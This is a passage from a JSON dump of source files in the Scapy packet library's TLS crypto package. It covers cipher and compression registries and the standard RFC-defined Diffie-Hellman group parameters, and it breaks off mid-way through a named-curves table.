True}\n        self._cipher = None\n        # we use super() in order to avoid any deadlock with __setattr__\n        super(Cipher_NULL, self).__setattr__(\"key\", key)\n\n    def snapshot(self):\n        c = self.__class__(self.key)\n        c.ready = self.ready.copy()\n        return c\n\n    def encrypt(self, data):\n        return data\n\n    def decrypt(self, data):\n        return data\n"
  },
  {
    "path": "scapy/layers/tls/crypto/ciphers.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016 Maxence Tury\n\n\"\"\"\nTLS ciphers.\n\"\"\"\n\n# in order to avoid circular dependencies.\nfrom scapy.layers.tls.crypto.cipher_aead import _tls_aead_cipher_algs\nfrom scapy.layers.tls.crypto.cipher_block import _tls_block_cipher_algs\nfrom scapy.layers.tls.crypto.cipher_stream import _tls_stream_cipher_algs\n\n_tls_cipher_algs = {}\n_tls_cipher_algs.update(_tls_block_cipher_algs)\n_tls_cipher_algs.update(_tls_stream_cipher_algs)\n_tls_cipher_algs.update(_tls_aead_cipher_algs)\n"
  },
  {
    "path": "scapy/layers/tls/crypto/common.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nTLS ciphers.\n\"\"\"\n\n\nclass CipherError(Exception):\n    \"\"\"\n    Raised when .decrypt() or .auth_decrypt() fails.\n    \"\"\"\n    pass\n"
  },
  {
    "path": "scapy/layers/tls/crypto/compression.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016 Maxence Tury\n\n\"\"\"\nTLS compression.\n\"\"\"\n\nimport zlib\n\nfrom scapy.error import warning\n\n\n_tls_compression_algs = {}\n_tls_compression_algs_cls = {}\n\n\nclass _GenericCompMetaclass(type):\n    \"\"\"\n    Compression classes are automatically registered through this metaclass.\n    \"\"\"\n    def __new__(cls, name, bases, dct):\n        the_class = super(_GenericCompMetaclass, cls).__new__(cls, name,\n                                                              bases, dct)\n        comp_name = dct.get(\"name\")\n        val = dct.get(\"val\")\n        if comp_name:\n            _tls_compression_algs[val] = comp_name\n            _tls_compression_algs_cls[val] = the_class\n        return the_class\n\n\nclass _GenericComp(metaclass=_GenericCompMetaclass):\n    pass\n\n\nclass Comp_NULL(_GenericComp):\n    \"\"\"\n    The default and advised compression method for TLS: doing nothing.\n    \"\"\"\n    name = \"null\"\n    val = 0\n\n    def compress(self, s):\n        return s\n\n    def decompress(self, s):\n        return s\n\n\nclass Comp_Deflate(_GenericComp):\n    \"\"\"\n    DEFLATE algorithm, specified for TLS by RFC 3749.\n    \"\"\"\n    name = \"deflate\"\n    val = 1\n\n    def compress(self, s):\n        tmp = self.compress_state.compress(s)\n        tmp += self.compress_state.flush(zlib.Z_FULL_FLUSH)\n        return tmp\n\n    def decompress(self, s):\n        return self.decompress_state.decompress(s)\n\n    def __init__(self):\n        self.compress_state = zlib.compressobj()\n        self.decompress_state = zlib.decompressobj()\n\n\nclass Comp_LZS(_GenericComp):\n    \"\"\"\n    Lempel-Zic-Stac (LZS) algorithm, specified for TLS by RFC 3943.\n    XXX No support for now.\n    \"\"\"\n    name = \"LZS\"\n    val = 64\n\n    def compress(self, s):\n        warning(\"LZS Compression algorithm is not implemented yet\")\n        return s\n\n    def decompress(self, s):\n        warning(\"LZS Compression algorithm is not implemented yet\")\n        return s\n"
  },
  {
    "path": "scapy/layers/tls/crypto/groups.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nThis is a register for DH groups from RFC 3526 and RFC 4306.\nAt this time the groups from RFC 7919 have not been registered by openssl,\nthus they cannot be imported from the cryptography library.\n\nWe also provide TLS identifiers for these DH groups and also the ECDH groups.\n(Note that the equivalent of _ffdh_groups for ECDH is ec._CURVE_TYPES.)\n\"\"\"\n\n\nfrom scapy.config import conf\nfrom scapy.compat import bytes_int, int_bytes\nfrom scapy.error import warning\nfrom scapy.utils import long_converter\nif conf.crypto_valid:\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives.asymmetric import dh, ec\n    from cryptography.hazmat.primitives import serialization\n    from cryptography.hazmat.primitives.asymmetric.dh import DHParameterNumbers\nif conf.crypto_valid_advanced:\n    from cryptography.hazmat.primitives.asymmetric import x25519\n    from cryptography.hazmat.primitives.asymmetric import x448\n\n\n_ffdh_groups = {}\n\n\nclass _FFDHParamsMetaclass(type):\n    def __new__(cls, ffdh_name, bases, dct):\n        the_class = super(_FFDHParamsMetaclass, cls).__new__(cls, ffdh_name,\n                                                             bases, dct)\n        if conf.crypto_valid and ffdh_name != \"_FFDHParams\":\n            pn = DHParameterNumbers(the_class.m, the_class.g)\n            params = pn.parameters(default_backend())\n            _ffdh_groups[ffdh_name] = [params, the_class.mLen]\n        return the_class\n\n\nclass _FFDHParams(metaclass=_FFDHParamsMetaclass):\n    pass\n\n\nclass modp768(_FFDHParams):\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08\n    8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B\n    302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9\n    A63A3620 FFFFFFFF FFFFFFFF\"\"\")\n    mLen = 768\n\n\nclass modp1024(_FFDHParams):  # From RFC 4306\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08\n    8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B\n    302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9\n    A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6\n    49286651 ECE65381 FFFFFFFF FFFFFFFF\"\"\")\n    mLen = 1024\n\n\nclass modp1536(_FFDHParams):  # From RFC 3526\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1\n    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD\n    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245\n    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED\n    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D\n    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F\n    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D\n    670C354E 4ABC9804 F1746C08 CA237327 FFFFFFFF FFFFFFFF\"\"\")\n    mLen = 1536\n\n\nclass modp2048(_FFDHParams):  # From RFC 3526\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1\n    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD\n    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245\n    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED\n    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D\n    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F\n    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D\n    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B\n    E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9\n    DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510\n    15728E5A 8AACAA68 FFFFFFFF FFFFFFFF\"\"\")\n    mLen = 2048\n\n\nclass modp3072(_FFDHParams):  # From RFC 3526\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1\n    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD\n    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245\n    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED\n    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D\n    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F\n    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D\n    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B\n    E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9\n    DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510\n    15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64\n    ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7\n    ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B\n    F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C\n    BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31\n    43DB5BFC E0FD108E 4B82D120 A93AD2CA FFFFFFFF FFFFFFFF\"\"\")\n    mLen = 3072\n\n\nclass modp4096(_FFDHParams):  # From RFC 3526\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1\n    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD\n    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245\n    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED\n    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D\n    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F\n    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D\n    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B\n    E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9\n    DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510\n    15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64\n    ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7\n    ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B\n    F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C\n    BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31\n    43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7\n    88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA\n    2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6\n    287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED\n    1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9\n    93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34063199\n    FFFFFFFF FFFFFFFF\"\"\")\n    mLen = 4096\n\n\nclass modp6144(_FFDHParams):  # From RFC 3526\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08\n    8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B\n    302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9\n    A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6\n    49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8\n    FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D\n    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C\n    180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718\n    3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D\n    04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D\n    B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226\n    1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C\n    BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC\n    E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26\n    99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB\n    04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2\n    233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127\n    D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492\n    36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD F8FF9406\n    AD9E530E E5DB382F 413001AE B06A53ED 9027D831 179727B0 865A8918\n    DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B DB7F1447 E6CC254B 33205151\n    2BD7AF42 6FB8F401 378CD2BF 5983CA01 C64B92EC F032EA15 D1721D03\n    F482D7CE 6E74FEF6 D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F\n    BEC7E8F3 23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA\n    CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328 06A1D58B\n    B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C DA56C9EC 2EF29632\n    387FE8D7 6E3C0468 043E8F66 3F4860EE 12BF2D5B 0B7474D6 E694F91E\n    6DCC4024 FFFFFFFF FFFFFFFF\"\"\")\n    mLen = 6144\n\n\nclass modp8192(_FFDHParams):  # From RFC 3526\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1\n    29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD\n    EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245\n    E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED\n    EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D\n    C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F\n    83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D\n    670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B\n    E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9\n    DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510\n    15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64\n    ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7\n    ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B\n    F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C\n    BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31\n    43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7\n    88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA\n    2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6\n    287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED\n    1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9\n    93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492\n    36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD\n    F8FF9406 AD9E530E E5DB382F 413001AE B06A53ED 9027D831\n    179727B0 865A8918 DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B\n    DB7F1447 E6CC254B 33205151 2BD7AF42 6FB8F401 378CD2BF\n    5983CA01 C64B92EC F032EA15 D1721D03 F482D7CE 6E74FEF6\n    D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F BEC7E8F3\n    23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA\n    CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328\n    06A1D58B B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C\n    DA56C9EC 2EF29632 387FE8D7 6E3C0468 043E8F66 3F4860EE\n    12BF2D5B 0B7474D6 E694F91E 6DBE1159 74A3926F 12FEE5E4\n    38777CB6 A932DF8C D8BEC4D0 73B931BA 3BC832B6 8D9DD300\n    741FA7BF 8AFC47ED 2576F693 6BA42466 3AAB639C 5AE4F568\n    3423B474 2BF1C978 238F16CB E39D652D E3FDB8BE FC848AD9\n    22222E04 A4037C07 13EB57A8 1A23F0C7 3473FC64 6CEA306B\n    4BCBC886 2F8385DD FA9D4B7F A2C087E8 79683303 ED5BDD3A\n    062B3CF5 B3A278A6 6D2A13F8 3F44F82D DF310EE0 74AB6A36\n    4597E899 A0255DC1 64F31CC5 0846851D F9AB4819 5DED7EA1\n    B1D510BD 7EE74D73 FAF36BC3 1ECFA268 359046F4 EB879F92\n    4009438B 481C6CD7 889A002E D5EE382B C9190DA6 FC026E47\n    9558E447 5677E9AA 9E3050E2 765694DF C81F56E8 80B96E71\n    60C980DD 98EDD3DF FFFFFFFF FFFFFFFF\"\"\")\n    mLen = 8192\n\n\nclass ffdhe2048(_FFDHParams):  # From RFC 7919\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1\n    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9\n    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561\n    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935\n    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735\n    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB\n    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19\n    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61\n    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73\n    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA\n    886B4238 61285C97 FFFFFFFF FFFFFFFF\n    \"\"\")\n    mLen = 2048\n\n\nclass ffdhe3072(_FFDHParams):  # From RFC 7919\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1\n    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9\n    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561\n    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935\n    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735\n    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB\n    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19\n    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61\n    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73\n    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA\n    886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238\n    61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C\n    AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3\n    64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D\n    ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF\n    3C1B20EE 3FD59D7C 25E41D2B 66C62E37 FFFFFFFF FFFFFFFF\n    \"\"\")\n    mLen = 3072\n\n\nclass ffdhe4096(_FFDHParams):  # From RFC 7919\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1\n    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9\n    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561\n    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935\n    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735\n    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB\n    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19\n    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61\n    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73\n    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA\n    886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238\n    61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C\n    AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3\n    64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D\n    ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF\n    3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB\n    7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004\n    87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832\n    A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A\n    1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF\n    8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E655F6A\n    FFFFFFFF FFFFFFFF\n    \"\"\")\n    mLen = 4096\n\n\nclass ffdhe6144(_FFDHParams):  # From RFC 7919\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1\n    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9\n    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561\n    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935\n    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735\n    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB\n    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19\n    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61\n    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73\n    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA\n    886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238\n    61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C\n    AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3\n    64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D\n    ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF\n    3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB\n    7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004\n    87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832\n    A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A\n    1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF\n    8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902\n    0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6\n    3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A\n    CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477\n    A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3\n    0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4\n    763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6\n    B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C\n    D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A\n    E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04\n    5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1\n    A41D570D 7938DAD4 A40E329C D0E40E65 FFFFFFFF FFFFFFFF\n    \"\"\")\n    mLen = 6144\n\n\nclass ffdhe8192(_FFDHParams):  # From RFC 7919\n    g = 0x02\n    m = long_converter(\"\"\"\n    FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1\n    D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9\n    7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561\n    2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935\n    984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735\n    30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB\n    B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19\n    0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61\n    9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73\n    3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA\n    886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238\n    61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C\n    AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3\n    64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D\n    ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF\n    3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB\n    7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004\n    87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832\n    A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A\n    1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF\n    8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902\n    0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6\n    3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A\n    CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477\n    A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3\n    0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4\n    763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6\n    B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C\n    D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A\n    E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04\n    5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1\n    A41D570D 7938DAD4 A40E329C CFF46AAA 36AD004C F600C838\n    1E425A31 D951AE64 FDB23FCE C9509D43 687FEB69 EDD1CC5E\n    0B8CC3BD F64B10EF 86B63142 A3AB8829 555B2F74 7C932665\n    CB2C0F1C C01BD702 29388839 D2AF05E4 54504AC7 8B758282\n    2846C0BA 35C35F5C 59160CC0 46FD8251 541FC68C 9C86B022\n    BB709987 6A460E74 51A8A931 09703FEE 1C217E6C 3826E52C\n    51AA691E 0E423CFC 99E9E316 50C1217B 624816CD AD9A95F9\n    D5B80194 88D9C0A0 A1FE3075 A577E231 83F81D4A 3F2FA457\n    1EFC8CE0 BA8A4FE8 B6855DFE 72B0A66E DED2FBAB FBE58A30\n    FAFABE1C 5D71A87E 2F741EF8 C1FE86FE A6BBFDE5 30677F0D\n    97D11D49 F7A8443D 0822E506 A9F4614E 011E2A94 838FF88C\n    D68C8BB7 C5C6424C FFFFFFFF FFFFFFFF\n    \"\"\")\n    mLen = 8192\n\n\n_tls_named_ffdh_groups = {256: \"ffdhe2048\", 257: \"ffdhe3072\",\n                          258: \"ffdhe4096\", 259: \"ffdhe6144\",\n                          260: \"ffdhe8192\"}\n\n_tls_named_curves = {1: \"sect163k1\", 2: \"sect163r1\", 3: \"sect163r2\",\n                     4: \"sect193r1\", 5: \"sect193r2\", 6: \"sect233k1\",\n                     7: \"sect233r1\", 8: \"sect239k1\", 9: \"sect283k1\",\n                     10: \"sect283r1\", 11: \"sect409k1\", 12: \"sect409r1\",\n                     13: \"sect571k1\", 14: \"sect571r1\", 15: \"secp160k1\",\n                     16: \"secp160r1\", 17: \"secp160r2\", 18: \"secp192k1\",\n                     19: \"secp192r1\", 20: \"secp224k1\", 21: 